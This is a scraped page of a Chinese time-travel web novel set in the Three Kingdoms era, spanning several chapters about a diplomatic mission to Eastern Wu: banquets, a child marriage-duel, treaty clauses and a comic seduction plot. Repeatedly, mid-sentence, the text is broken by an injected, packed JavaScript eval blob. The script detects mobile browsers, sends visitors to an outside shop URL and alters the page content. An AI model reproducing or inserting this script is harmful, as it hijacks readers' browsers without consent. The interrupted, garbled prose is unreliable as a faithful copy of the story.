孙尚香听他仍是一副公事公办的语气,心中又是气恼,又是委屈,想要说些什么,最终却只是攥紧了拳头,咬了咬唇,一言不发。 见赵云不惜犯险如此,吴国太知道落花有意流水无情,便不愿再招赵云为婿——纵他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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归根结底,皆是因她心思太重,总怕自己作为穿越者傲慢地干涉了历史人物的感情,所以才袖手旁观。 若她单纯只是黄楚,而不是梁爽,或许事情会好办许多。 刚穿越来的那天,她起初想的是,她是现代人,要怎么穿越回去。 可若诸葛亮告诉她的话是真的,她本就是黄楚,本就属于汉末三国这个时代,在现代的那二十余年才是一场梦,而现在才是她的梦醒时分——她大概回不到现代去了。 既然不能再回到现代,那她是不是应该全盘接受自己是黄楚的事实,而放弃作为梁爽的那部分? 纵然聪明如她,一时也想不明白,只好将纷乱的思绪抛掷一边,埋头到眼前的事务里。 亲妹妹当众伤了刘备麾下的将军,孙权不可能装作不知,当晚便要专门设宴赔礼。 梁爽想着,虽然大概率要应邀赴宴,但为表尊重,还是先问过赵云意思为好,于是便去寻赵云。 赵云回到驿馆后,将自己关在房内半日。梁爽心里暗戳戳地猜想,或许孙尚香也曾在他心里留下了一点痕迹。 扣门请他出来说话,赵云开门,面上淡淡的,神情透着生疏。 梁爽说吴侯宴请赔罪,赵云说“军师是正使,云一切都听军师安排”,之后便沉默无言。 梁爽自从作为军师追随刘备,相处最久、关系最亲近熟稔的便是赵云,如今见赵云骤然疏远她,心里便有些不自在,忙道:“此事关乎将军,黄某怎能不顾将军意愿……将军此言,可是怨我?” 赵云忙道:“云绝无此意……”但也不解释更多,只说“赵云只是轻伤,无足挂齿,一切服从于大局”。 梁爽见他执意如此,叹道:“好。多谢将军体谅。孙小姐之事,原是我没担当,才害得将军不得不自残。” 赵云垂首抱拳道:“军师言重了,赵云实在担不起。” 见他态度客气疏远,梁爽不再坚持剖白,轻轻叹了一声,转身离去。 虽然名义上是赔礼的宴会,实则孙权是想借机在双方订立盟约之前再做最后的角力。梁爽与众人人都明白。临赴宴前,梁爽特意向简雍、糜芳两位先生道:“通商征税、贸易往来、工程制造,皆非黄某所擅长,今晚若吴侯及其麾下谋士在席间谈论相关事宜,黄某或许有招架不住之处,到时还有赖二位先生应对。” 简雍、糜芳皆道:“军师放心,皆吾二人分内之事,必全力以赴。” 甘露堂内,金樽玉碗,丝竹悠扬,酒香弥漫。孙权做东,孙尚香并不在,反倒是张昭、周瑜等重臣齐聚于此。吴侯设宴的用意,一目了然,不言自明。 孙权举杯道:“家妹年幼,性情鲁莽,不慎惊扰赵将军,孤深感歉疚。今夜特设此宴,为将军及贵使赔罪。” 赵云亦举杯:“吴侯言重了。习武之人切磋时有磕碰,何足挂齿。” 孙权笑道:“将军宽厚,令人敬佩。孤素闻常山赵子龙之名,于博望、新野屡次大败曹操,实乃当世名将。” 赵云道:“吴侯谬赞。全赖主公英明、军师善谋。且曹贼虽恃雄兵而至,然主公得民心相助,云效力麾下,自然有所斩获。”言语之间,不夸耀胜绩,不轻言功高,又暗示荆襄局势已定、刘玄德乃民心所向。 孙权听得出他话里经纬,笑道:“将军能言善辩,真是文武双全。”接着他的话茬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486269|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“曹贼已退,我与刘豫州商议通商互惠,亦是造福百姓、顺应人心呐。” 简雍笑道:“吴侯英明。商旅往来既畅,则百业俱兴。盟约若订,往后便是同舟共济之局。” “贵使所言极是。江东与荆州既是盟友,自当共谋大计,互通有无。”孙权笑道:“只是通商与鹦鹉洲船厂之事,虽言共建,总须有主事之人定夺大事小情。不知贵使以为,此事该由何人主理?” 简雍与梁爽交换过眼色,答道:“吴地素有水师之威,造舰之术精湛。我主亦知造小型战船非荆州所长,故愿尊重吴侯之意,以江东人士为首。但我方既然是买方,有权派出监理,监督工程质量与进度。至于两地贸易,为了方便,荆州贸易由我方做主,柴桑贸易由贵方做主,双方各派驻一名文官到江对面,以维护自家百姓权益。不知吴侯意下如何?” “贵使此言在理。只是孤有一事,仍有疑虑。”孙权拿起酒杯,说道:“盟约既立,往后自当同仇敌忾。只是战事无定,若曹贼再犯,不知贵使是否可立下军令状,届时荆襄必能出兵助我?” 梁爽闻言笑道:“那是自然。唇亡齿寒之理,鄙人明白。只是盟约中要有对等条款,到时若曹军迫近荆襄,吴侯也需发兵来救,免得如上次一般,让我等独力苦苦支撑。” 张昭欲替孙权挽回颜面,笑道:“上次双方并未结盟。今次立下盟约之后,方是盟友。若盟友有难,我主岂有坐视不理之理?” 梁爽笑着举起酒杯,向孙权及江东诸人遥遥致意。双方皆满饮此杯。 一番拉扯结束,梁爽心想今晚的任务已基本完成,刚要松一口气,怎料孙权又提起联姻。 梁爽内心无语:你们江东人……结盟的时候不一块结个婚心里就不踏实是吧? 52. 出使东吴(十五) 这次孙权提议的联姻对象是周瑜长子周循和关羽之女关银屏。 周循今年八岁,比银屏小四岁,还是个孩子,怎么联姻…… 联姻是假,哄来人质在手,拿捏镇守荆州的关羽是真。 不过孙权不怕黄楚等人看穿他的用心。他知道刘备现在迫切需要江东安定,不来趁他之危。就算黄楚他们看穿了他的用心,又如何? 关平在座,惊得差点掉了手里银箸。 关银屏侍立在梁爽身后,差点摔了手里酒壶。 众人齐齐看向银屏。 梁爽连忙回头轻声呵斥:“这丫鬟,忒没见过世面。退下罢。” 银屏乃将门虎女,听见自己的婚事险些要被这黄发碧眼的孙权在三两句话间随意安排,如何忍得?当即便亮明身份:“江东儿郎,皆是好汉。但若要做我夫婿,须得让我看看,他是否配得上我关银屏!”细眉倒竖,字字掷地有声。 此言一出,席上众人皆是一怔。关平额角微跳,以手扶额,险些将杯中酒洒出。梁爽暗叫不好,生怕事情闹大,而孙权则微微挑眉,露出几分兴趣。 周瑜原本执盏饮酒,听闻此言,嘴角微微一僵,旋即不动声色地放下酒盏,目光在孙权与关银屏之间流转。 孙权轻轻一笑,饶有兴味地看着银屏,慢悠悠道:“哦?敢问关小姐,何谓‘配得上’?” 关银屏挺直脊背,眼中燃起战意,朗声道:“周公瑾之子,想必亦有英武之姿,若当我夫婿,总不能文弱无力。既如此,不如请他与我比武一场,叫我看看,他是否有护我一生的本事!” 此话一出,众人皆愣住了。 比武?! 周循才八岁,尚未习武纯熟,而关银屏的身板儿挺拔,一看就是练家子。自幼在关羽膝下练刀习剑的女孩儿,同龄人,谁敢小觑?何况周循还比她年纪小,身子骨也弱。 简雍暗叹,心道这位小姑娘倒是豪气冲天,竟如此光明正大地拒绝这门亲事。他看向梁爽,梁爽此刻和关平的动作一样,抬手扶着额头,不愿面对眼前局面。 银屏此话出口,孙权若不应,便是江东弱了气势;若应了,便是让周循当众受辱,实在是难以抉择。 周瑜神色微沉,缓缓道:“犬子年幼,恐怕不堪小姐一试。” 同僚程普却不以为意,笑着抬手阻止了周瑜,笑道:“既然关小姐有此意,不若让令郎一试身手。”他是老资格,向来看不惯周瑜年轻得势。 黄盖连忙在旁拦阻。 周瑜看向孙权:“主公——” 孙权却不容他再言,微笑道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486270|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好。若周小公子胜,便当此婚事可成;若败,便依关小姐之愿。” 梁爽连忙插言道:“婚姻大事,父母之命,媒妁之言。关云长将军尚不知情,恐怕比武定亲之说不宜作数。否则黄某回到荆州,无法向关将军夫妇交待。” 孙权心想,争取这小丫头同意,总比争取关羽、刘备同意要容易得多,便故意激将道:“贵使此言,是真心话,还是怕关小姐赢不过周小公子?周小公子今年可只有八岁,比关小姐年幼得多。”有最后这句垫在这里,就算周循输了,孙权面子上也还算过得去;若赢了,那可就赚了。 周瑜对自家儿子没什么信心,倒是孙权爱屋及乌,对周瑜的儿子信心满满。 关银屏脾气上头,目光炯炯,毫不犹豫地向孙权抱拳道:“若我赢了,便无此婚事,此言当真?” 梁爽在桌子底下急扯她袖子:“小姐当初说要向我学‘万人敌’的本事,忘了?怎可如此莽撞好斗!” 孙权巴不得小丫头上钩,笑着抬手示意道:“甘露堂上,岂有戏言?” 关银屏冷笑一声:“好!那便请周小公子来切磋一二!” 梁爽:救命……祖宗们,谈婚论嫁就谈婚论嫁,你们不要动不动就舞枪弄棒啊喂!你们汉末三国人怎么又又又比上武了……啊? 53. 出使东吴(十六) 周瑜蹙着眉犹豫片刻后,终于点头,向身边的侍卫道:“传周循来。” 片刻后,周循出现在宴席上,面容清秀,个子比同龄人略高。虽然年纪还小,一双眼睛中却透出一股与年龄不相符的沉稳和深思——容貌风度令人一看便知江东周郎之子,就连那略显病弱的气色也一般无二。 小周循走上前,向孙权行礼后,转向关银屏,目光平静淡定:“关小姐,请手下留情。” 关银屏见到周循,微微皱了皱眉,心中有些不屑。她出身武将之家,跟着爹爹练剑舞刀惯了,自信武功不错。眼前这样一个瓷娃娃似的瘦弱小孩,能有什么本事?于是扬着下巴答他道:“既然要比武,便不容情面。还请公子也不要留情。”说罢她步伐迅疾,掌风直指周循。 然而,周循并没有躲闪,也没有防守。他站在那里,双眼紧紧盯着关银屏,似乎根本不怕她的攻击。 银屏心中一惊:他怎么不躲? 她知道,周循若是真被自己重伤,那可不好收场。 她分了心,动作不由得一顿,而就在她犹豫疑惑的这一瞬间,周循趁她不备突然迈步向前,借着她向前之势,绕到她侧后方迅速扑向她,同时脚下一绊。 银屏来不及收势,身子不稳,向前倾倒,周循一把抓住了她的手腕,趁势将她按倒在地。 银屏跌倒在地,脸上火辣辣的,心中满是震惊和恼恨。她没想到自己竟然会被这样一个小男孩给击败。 “你……诡计多端,胜之不武!” 周循微笑着站在她身边,伸手想扶起她,语气依旧温和:“关小姐,武艺高强并非一味拼杀,知己知彼,方能事半功倍。” 银屏脸色一阵青白交替,拍开他搀扶的手,自己爬起来,冷冷道:“你赢了。” 孙权鼓掌大笑,刚要说话,周循忽然跪下,说道:“臣有一言,欲禀告吴侯。” 孙权指着他向周瑜笑道:“小小年纪,说话像大人似的。有什么话,你说罢。” “臣……欲私下禀告吴侯。”小娃娃竟有点脸红。 此刻梁爽的大脑正在飞速运转,想着怎样能帮关家赖掉这一桩娃娃亲,见周家小娃脸红,不由得思路为之一顿。莫非这小娃,人小鬼大,不想与关银屏联姻,并且想到了说服孙权的办法? 这次荆州使团来东吴,谈判时处处气势压着东吴一头,孙权原本有些不爽快,周循刚刚给他挣了大面子,他正喜欢这小子喜欢得不得了,自然应允:“你上来回话罢。” 周循谢了恩,爬上宝座,拿手遮掩着口形,在孙权耳边嘀嘀咕咕说了几句。 孙权目露疑惑,看着他。 小家伙又在孙权耳边说了几句。 孙权似乎有些恼怒。 小家伙再讲几句。 孙权眉头稍稍舒展,说道:“好吧。” 周循谢了恩,退回到父亲身后坐着。 孙权笑向众人道:“先前孤提议两个孩子比武定亲,原是席间饮酒取乐的玩笑话,诸位不必当真,哈哈哈哈哈哈。” 梁爽仿佛抓住一根救命稻草,连忙也跟着“哈哈哈”:“吴侯好生风趣!”又连忙道:“时辰不早了,不耽搁吴侯休息,黄某等人告退。” 这顿饭再继续吃,后面还不知道能闹出什么幺蛾子。 孙权虽有犹豫,但知道今夜难以有其它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486271|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进展,便笑道“今夜畅谈,甚是快意。愿赵将军早日康复,待来日吴荆二地同心,共谋大计。”算是让夜宴回归了主题 赵云微微颔首,举杯回敬:“但愿如此。” 晚宴一宣告结束,梁爽就连忙带着失魂落魄的小银屏逃也似地离开。 东吴诸人也各自散去。 回宅邸的路上,周瑜问周循:“你同吴侯说了什么?” 周循怪不好意思道:“孩儿说……孩儿喜欢大虎(孙权长女孙鲁班的乳名)。” 周瑜:“……谁教你这么直言不讳的?” 周循:“爹爹在家时同娘就是这么说话的。虽然爹爹和娘说这话时以为我没听见,但是我会读口形。” 周瑜:“……那你娘,不是,那吴侯就同意了?我看他一度面色不悦。” 周循:“面色不悦是因为我说如果他不答应把大虎许配给我,我就当着荆州人的面说,我不喜欢手下败将。”这可就把荆州众人彻底得罪了,尤其得罪关羽。这是孙权绝对不想看到的。 周瑜扶额:“为父是该夸你聪明还是该骂你大胆……” 周循:“孩儿怕吴侯太过生气,最后就劝他说,虽然关银屏好骗,但关云长将军不是好糊弄的。主公正是要与荆州结盟的关键时刻,还是不要冒进为妙。” 周瑜:“行。小小年纪终身大事自己全都搞定了。你小子可真行。” 周循冲他爹笑,笑得像个小甜饼:“都是得了爹爹真传。是爹爹教养得好。” “小小年纪,甜言蜜语,溜须拍马,跟谁学的?” “也是跟爹爹呀。爹爹在家跟娘说——”周循被周瑜一把捂住了嘴。 54. 出使东吴(十七) 适才在宴席上,银屏差点把自己的婚事给交代了,事后一阵阵后怕,亦知道自己莽撞。 既然身份已经暴露,便不必再装作丫鬟,回去路上与梁爽同在一辆马车车厢内,小姑娘发了许久的呆。 “军师……”平日里她都称呼梁爽为“黄夫人”,今日自知婚事关系到双方结盟,便改换称呼:“银屏不知轻重,给军师添乱了。” 梁爽轻轻抚一抚她后背,为她压惊,温声道:“下次记得‘三思而行’就好了。万幸吴侯反悔,否则若真让他促成婚约,你这一生可怎么办?我真替你捏一把汗呐。东吴的人个个都鬼精着呢,不能小瞧他们。那周瑜,你看他文质彬彬,温文尔雅,你不知道他历史上火烧——”梁爽一时嘴快,及时刹住了,改口道:“他临时烧火、烧别人的战船也是能做到的。” 好在关银屏心事重重,并未留意她的破绽,向梁爽道:“军师,等咱们回荆州之后,我爹爹那里……”她想求梁爽帮忙隐瞒。 梁爽道:“你想必也知道,今晚的事,关系到两家结盟。我是一定要将今晚吴侯的言行告知主公、好让主公明白吴侯的态度。我不能瞒着主公。但你爹爹那里,我一定护着你,为你多说好话。只是你如今身份暴露,我不宜再留你,明日一早,便让你哥哥带兵送你到柴桑。等过几日我们返回时再接你一同回襄阳。” 银屏听命。 第二日继续谈判,孙权与黄楚等人碰面,都当昨夜与周循订立婚约之说未曾有过,但孙权果然又拐弯抹角地提起昨夜关小姐惊艳众人,江东有几位青年才俊心生求娶之意云云。 梁爽笑道:“关小姐身子不适,今早我已遣人送她回荆州。婚约之事,还是请吴侯直接去问关云长将军,我是外人,不便插手。” 孙权没有办法,只能笑着称是。 关于盟约,前几日双方已经大致摸清了彼此的态度,今日起,便要在文字细节上敲定内容。糜芳是个老练的生意人,出使的这些日子一点都没闲着,四处走访探察各地农工商业,已经将江东民生经济的底细摸得七七八八。今日他作主谈判官,蒯越充当副手,梁爽只在旁边帮二人盯着偶尔出现的纰漏。糜芳口若悬河,一手是草拟的盟约,一手是一把打得噼啪乱响的金算盘,把账给东吴众人算得明明白白。 “无论是共同降低关税,还是共建船厂,实在都是双方互惠互利的好生意。双赢的买卖,傻子才不做。”糜芳说完,白胖的脸庞沁了一层细细的汗,在梁爽眼里仿佛给他镀了一层圣洁的光——一旦涉及商业,糜二将军强得可怕。 因东吴方面极为谨慎,双方来回磨了三日,三日后敲定盟约内容大致如下(如嫌太长可以不看): 一、双方同意实施税率调整,将柴桑运往荆州的盐铁、竹木和荆州运往柴桑的粮食、药材、丝绸税率降为货物价值的百分之一。 二、双方承诺,凡依法纳税之商队,不得无故扣押、骚扰、阻碍通行,不得巧立名目收取杂税。若有商旅在对方境内受不法侵害,所在方需严惩肇事者,并予以相应补偿。 三、造船厂选址在鹦鹉洲,为共建共管区域,东吴、荆州各派兵五百人,负责船厂防卫,双方不得私自增兵。若一方私自增兵于鹦鹉洲,则视为挑衅,另一方有权终止合作,并向对方提出赔偿。 四、船厂建成后,前五百艘战船优先供应荆州,所需帆布由荆州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486272|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提供,铁料木材则主要由江东供应。两边皆出工匠,东吴工匠提供主要的技术支持。双方各派监造官,共同监督造船进度、质量。东吴不得刻意削弱战船质量,确保交付战船与东吴水军所用同质同级。造船过程分三期进行,每完成一期,荆州支付对应工费,尾款待船只试水成功后支付。若东吴故意拖延造船或削减船只质量,荆州有权减少支付,或另行请工匠补造,由东吴承担工费。 五、双方结为盟友,如有第三方进犯,双方共同行动。造船厂建成后,除供荆州购船外,亦用于共同防御曹军。 六、若双方在协议执行中发生争端,由东吴鲁肃、荆州蒯越共同主持调解,尽量和平解决。若双方未来终止合作,造船厂归属双方共议,不得单方面占有 …… 孙权画押用印过后,梁爽暂代刘备签字画押,将两份盟约交刘备用印后,其中一份送回东吴,盟约便算正式成立。 终于办成这件大事,梁爽签字的时候太过紧张,差点签成“梁爽”,第一笔已经点了一个点,刚要抬笔猛然意识到,忙拉成一条竖,改成“黄”字。所幸先前为了给刘备写锦囊时她专门学了隶书,因此不至于写汉末时尚未出现的正楷字出来。 只是她练隶书的时间短,因此字丑,丑得无论自家使团还是东吴众人看了都不由得皱眉。 谁也想象不到精明强干的黄军师竟然一出手写这么软趴趴的烂字。 倒是周瑜,因为见识过黄楚的臭棋篓子,对于她写一笔烂字毫不意外。 盟约初订,当晚孙权设宴庆祝,兼为使团送行。 按他们此次出使以来的经验来看,宴席注定不会风平浪静。 55. 出使东吴(十八) 虽然黄楚能言善辩诡计多端令江东君臣上下都觉得头痛,但孙权是真的很欣赏她。爱才之心,做主公的皆有。他恨不得将天下英杰都招揽至自己麾下。 孙权想要。孙权得到。 如果孙权得不到,那他有点想毁掉。 要想拉拢黄楚,孙权帐下有一个最合适的说客人选:长史诸葛瑾。诸葛瑾是诸葛亮的亲哥哥,借着亲戚寒暄,游说弟媳,最方便不过。 自从黄楚进入东吴境内,除了一开始给诸葛瑾送过一封信外,周瑜手底下的人留意着,他二人并无互动。诸葛瑾有意避嫌,孙权体会得到他的忠心。 孙权召来诸葛瑾,让他去劝黄楚投诚,诸葛瑾一口答应。只是他提醒孙权:“吾弟孔明向来是个痴人,一旦认定一件事,轻易不悔改。刘备三顾茅庐,已感动他出山追随,恐怕不会轻易弃刘备于不顾。” 孙权道:“孤知道。只是听闻令弟如今昏迷未醒,或许黄夫人的心思与令弟不同。既然荆襄之地的医者不能治愈令弟,何妨转至江东,让江东医者妙手一试?子瑜(诸葛瑾的字)你与黄楚乃是一家人,若由你亲自劝说,或许比旁人更有成效。” 诸葛瑾道:“主公所托,瑾自当尽力。” 诸葛瑾去买了些想让弟妹带回襄阳的药材和医书,亲自登门拜访。 梁爽听见门房通传,忙出来迎,正见一人宽袍大袖,缓缓步入庭中。 诸葛瑾虽与弟弟诸葛亮同出一脉,五官间自有几分相似之处,然而二人气质却截然不同。 或许因为年长的缘故,他眉目间少了几分诸葛亮那般深不可测的机锋锐意,而多了几分沉稳端方。若说诸葛亮如皓皓明月,诸葛瑾便似江南春山,使人心生敬重却无压迫之感。 诸葛瑾今日是为吴侯所托而来,心中抱有不单纯的目的,难免对弟妹有些惭愧,强笑道:“弟妹,许久未见,你在江东过得可还习惯?” 梁爽微笑:“托大哥的福,一切尚好。”将诸葛瑾往正堂里让。 二人分主客落座,诸葛瑾问起孔明的情况。 梁爽叹道:“仍是昏睡不醒,只是偶尔眼睛能睁开,但睁开不多时就又合上了。” 听说孔明身子仍不好,诸葛瑾眉心多了些真情实感的忧虑。 “兄长勿挂。他会好的。”梁爽不能告诉他孔明已醒,只好这么安慰他道。 诸葛瑾点点头。略顿了顿,咽一咽唾沫,艰难开口:“若荆襄寻不到好医者,弟妹不如带他来江东看诊罢。” 梁爽警惕抬眉,笑道:“长史这是何意?”称呼上已经从“大哥”转变为官职。 诸葛瑾见她如此改口,心下越发愧疚,但箭在弦上不得不发,继续道:“江东富庶,水陆畅通,远胜荆襄之地。吴侯对贤才素来礼遇有加,若弟妹愿携二弟来归东吴,不必再随刘玄德四处奔波颠沛,岂非更利于二弟治病?” 梁爽沉默片刻,斟酌着说辞,笑道:“大哥该知道孔明为人如何的。我怕他醒时看见身在江东,会怪我。” 梁爽骤然再次改口,唤一声“大哥”,拿骨肉亲情打起招牌,诸葛瑾的话便一时难接。 梁爽徐徐道:“大哥忠于吴侯,今日大哥来说这些话,我不会怪大哥,孔明也不会怪大哥。但孔明已决意忠于刘玄德,我亦感佩玄德公于我的知遇之恩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486273|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在不愿做贰臣。大哥素有济世之志,孔明有,我也有。既然各为其主,不如‘兄弟爬山,各自努力’。还是不要各自勉强、伤了感情为好。” “好。”诸葛瑾叹道:“弟妹说的是。是愚兄唐突了。” 诸葛瑾待要告辞,梁爽道:“兄长且慢。”说着去内室取出此行为他和嫂嫂准备的礼物,又问:“不知嫂嫂和侄儿可还安好?我得了消息,也好回去告诉孔明和三弟。江水相隔,他们牵挂着。” 诸葛瑾道:“家里一切皆好。请放心罢。” 诸葛瑾无果而归,孙权并不意外。他早和周瑜商量好了别的主意。 孙权说“黄楚若能归顺,对东吴有百利而无一害”,周瑜说他与主公所见略同,且他已有一计。 孙权问是何计,周瑜笑道:“黄楚再聪明,终究是人。是人,就有弱点。她夫君昏迷不醒,正是她心防最脆弱之时。” 孙权黄眉紧皱:不以为然:“你是想让我派人去色/诱她?” 周瑜笑道:“美人计,不止对男子可用,对女子也可用。” 孙权差点被自己的口水呛住,咳了两声,哭笑不得地看着他:“派谁去?她夫婿可是诸葛孔明。江东俊才虽多,如孔明般才貌双全的能有几个?她当年择婿可是用了三千道算术题。我是万万不行,公瑾你该不会自己去……?” 周瑜想起上次孙权想把周循牵线给关银屏,忙道:“非也非也。主公细想,那黄楚正青春的年纪,夫婿昏迷,加上连日出使东吴精神紧张,食色性也,或许她自制力不似从前那般强了。主公只需借宴会之机,让众卿携家眷子弟前来,未必迷不花她的眼……” 56. 出使东吴(十九) 江东出美女。江东出帅哥。 孙权说让各家将妻眷儿女都叫来,与黄夫人及使团诸人同乐。于是宴会上帅哥美女云集,看花了梁爽的眼。 这个也好看,那个也好看。 这边张昭之子张承拱手一礼,朗声道:“小生才疏学浅,愿献拙诗一首。”随即缓步走至堂前,清声朗诵。诗句典雅,字字珠玑。 那边吕蒙之子吕霸执剑而立,英姿勃发,一番剑舞翩若惊鸿,引得席间阵阵喝彩。 这边顾雍三子顾济登台抚琴。他琴艺虽不如孔明,但《阳春》《白雪》弹得清雅悠扬,确有情韵。 那边陆逊提笔在白绢上作画,行云流水之间,一幅《竹风清影图》挥笔而就,笔墨间自有风骨。梁爽看罢心中不由得惊叹:想不到历史上烧了刘备七百里连营的陆逊竟然艺术修为亦如此之高。 …… 孙权时不时暗中打量黄楚,见她每每欣赏才艺时目露惊艳,但观赏完之后目光便会带到别处,知道她未曾对台上的人动心,而是看中了台下的某位。 于是孙权顺着黄楚的目光看去,想看她到底对谁生了心思。 一看,是周瑜。 孙权一阵头皮发麻。 这时不知道此次宴会内幕的程普老将军刚好高歌完一曲,孙权趁机再观察黄楚在看谁。 还是周瑜。 这…… 周瑜是个乖觉人,早就察觉了黄楚的目光。见孙权也看过来,周瑜硬着头皮跟他主公对视了一眼。 孙权眼神示意他上台表演。 周瑜缓慢地左右摇一摇头,试图拒绝。 孙权抬手做了个抚琴的手势。 周瑜隔空强烈拒绝,目光往身旁小乔和周循身上一带,意思是“主公你还记得吗我已有妻室连孩子都有了”。 然而由于全场目光都聚焦孙权,而孙权又看向周瑜做了个抚琴的手势,立刻有马屁精在旁边起哄:“大都督琴技超群,何妨演奏一曲!” 周瑜恨恨地飞了那人一眼刀。只得起身至台上。 孙权继续观察黄楚。 看着看着,孙权的目光忽然凝滞,神色微妙地僵住了。 台上抚琴的周瑜慢慢察觉到他的异样,顺着他的目光望去,瞬间也愣住了。 只见席间,黄楚正端坐如常,手指搭在酒杯上,神色淡淡,看似随意,然而她的目光根本没在看周都督抚琴,而是——时不时总落在小乔身上。 周瑜怕自己看花了眼,用力眨了眨眼。 小乔正轻轻倒酒,纤手如玉,鬓间斜插着一支嵌珠金簪,映着烛光熠熠生辉。她面若芙蓉,眉目如画,风姿柔婉,宛如春日江南的杏花烟雨,令人只看一眼,心头便涌出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486274|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无限诗篇。 孙权和周瑜看着黄楚一面望着小乔目不转睛,眼神里无尽赞美,一面嘴里还喃喃念叨着什么。二人相继读出了她的唇语:“好美……” 周瑜:“……” 孙权:“……” 周瑜嘴角一抽,手指无意识地弹错了一个音。 满座皆惊。 众人传言“曲有误,周郎顾”,今晚上周郎自己弹错了。 孙权忙笑着替他遮掩:“今日高兴,公瑾多饮了几杯,醉了,醉了!” 周瑜忙强装出几分醉态,向众人抱拳赔罪。 梁爽沉迷于乔美人的绝色容颜,周瑜失误后满场皆静,她都未察觉,直到周瑜坐回座位,气鼓鼓恶狠狠地剜了她一眼。 张昭或多或少揣摩出了吴侯今日设宴的用心,趁着祝酒的机会低声笑向周瑜道:“公瑾,看样子,你的美男计还未施展,你夫人倒是先立了大功。” 周瑜脸色一黑,端起酒杯,一饮而尽。 他心里滋味莫名十分复杂。 自家夫人确实很美。但我堂堂东吴水军大都督周公瑾亲自下场为你弹琴,你一眼不看,只顾盯着我夫人? 周瑜这厢气得肺都快炸了,梁爽那边暗自嗑CP嗑得上头:“瑜乔真好嗑……他真的好爱吃醋啊哈哈哈……绝美爱情,好甜,howpay……” 57. 出使东吴(二十) 梁爽沉浸在嗑cp的快乐中度过了一整晚。 这趟来东吴,真的不亏。 结盟初步谈成,还近距离嗑了她超级爱嗑的史同cp。 写同人、画同人、剪同人视频,能比得过穿越回东吴看周瑜和小乔郎才女貌配一脸吗?那铁定比不了。 但回驿馆路上,或许是被江风吹得心里萧索,梁爽不免又叹:“嗑cp嗑得这么开心,我自己这会儿却没有恋爱谈。虽说在现代的时候自己谈的那点恋爱也不如嗑cp有意思吧……嗑cp嗑着嗑着偶尔也想要神仙爱情发生在自己身上。”她蓦地想起孔明,想起那个还在她眼皮子底下装昏迷的孔明。 蒯越、糜芳等人喝得微醺,今夜酒足饭饱,又有上好的歌舞才艺,糜芳连连感慨:“此间——乐!不思——荆襄!” 梁爽听了腹诽道:“还真是‘外甥随舅’,原来阿斗后来那句名传千古的‘乐不思蜀’就是跟他二舅学的啊。” 